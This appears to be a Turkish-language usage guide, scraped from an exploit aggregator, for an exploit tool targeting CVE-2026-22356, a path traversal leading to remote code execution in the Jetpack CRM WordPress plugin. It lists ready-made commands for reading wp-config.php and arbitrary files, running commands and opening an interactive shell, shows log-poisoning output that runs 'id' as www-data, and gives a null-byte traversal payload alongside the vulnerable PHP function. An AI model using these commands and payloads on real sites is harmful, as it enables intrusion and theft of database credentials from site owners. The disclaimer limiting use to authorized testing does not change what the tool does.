## https://sploitus.com/exploit?id=2B7EC0E8-7984-5387-91E5-615EAC92E0E1
# CVE-2026-22356
CVE-2026-22356: Jetpack CRM Path Traversal Vulnerability and RCE
Kullanım Kılavuzu
Aşağıdaki kullanım örneklerini yalnızca yetkili test ortamlarında deneyin.
📥 Gereksinimler
bash
pip3 install requests urllib3
🎯 Tüm Özellikleriyle Kullanım
Amaç Komut
Yalnızca zafiyet kontrolü python3 exploit.py https://hedef-site.com -v
wp-config.php oku python3 exploit.py https://hedef-site.com --read-config
Rastgele bir dosya oku python3 exploit.py https://hedef-site.com --read-file ../../../wp-content/plugins/zero-bs-crm/readme.txt
Tek seferlik RCE denemesi python3 exploit.py https://hedef-site.com --rce --cmd "id"
İnteraktif kabuk başlat python3 exploit.py https://hedef-site.com --rce --shell
Proxy üzerinden dinleme (Burp Suite için) python3 exploit.py https://hedef-site.com --rce --shell --proxy http://127.0.0.1:8080 -v
🧪 Beklenen Çıktı Örneği (Başarılı Durum)
bash
$ python3 exploit.py https://example.com --rce --cmd "id"
[+] Target is VULNERABLE to LFI!
[*] Attempting Log Poisoning for RCE...
[*] Searching for accessible log files...
[*] Trying: ../../../../var/log/apache2/access.log
[+] Found accessible log file: ../../../../var/log/apache2/access.log
[*] Poisoning log file: ../../../../var/log/apache2/access.log
[+] Payload injected into log file.
[*] Executing command: id
[+] Command Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
🚨 Sınırlamalar ve Önemli Uyarılar
Null Byte Sınırlaması: Modern PHP sürümlerinde (≥5.4) null byte %00 çalışmaz. Bu durumda exploit yalnızca doğal olarak .page.php uzantısına sahip dosyaları yükleyebilir.
Log Dosyası İzinleri: Log poisoning'in başarılı olması için web sunucusu sürecinin (www-data) log dosyasına yazma ve okuma iznine sahip olması gerekir. Çoğu modern yapılandırmada bu izinler kısıtlıdır.
Güvenlik Duvarları: WAF kuralları, page parametresinde ../ gibi karakterleri engelleyebilir.
🔍 Zafiyetin Kod Seviyesinde Doğrulanması
Zafiyetli 6.7.0 sürümünde, jpcrm_load_admin_page() fonksiyonu şu şekildeydi:
php
function jpcrm_load_admin_page( $page_name, $alt_path = ZEROBSCRM_PATH ) {
$target_file = $alt_path . "admin/$page_name.page.php";
if ( file_exists( $target_file ) ) {
require_once $target_file;
}
}
Bu kodda $page_name hiçbir doğrulamadan geçmeden doğrudan kullanıldığı için saldırgan page=../../../wp-config.php%00 yollayarak require_once("admin/../../../wp-config.php%00.page.php") çağrısını tetikleyebilir. PHP, null byte'ı dosya adının sonu olarak yorumladığında wp-config.php dosyası çalıştırılır.
6.7.1 sürümünde bu kod, realpath() ve strpos() kontrolleri eklenerek düzeltilmiştir.
Bu kod ve analiz, CVE-2026-22356 zafiyetini tüm yönleriyle anlamanız ve yetkili testlerinizde kullanmanız için hazırlanmıştır. Unutmayın ki yasalara aykırı kullanım tamamen sizin sorumluluğunuzdadır.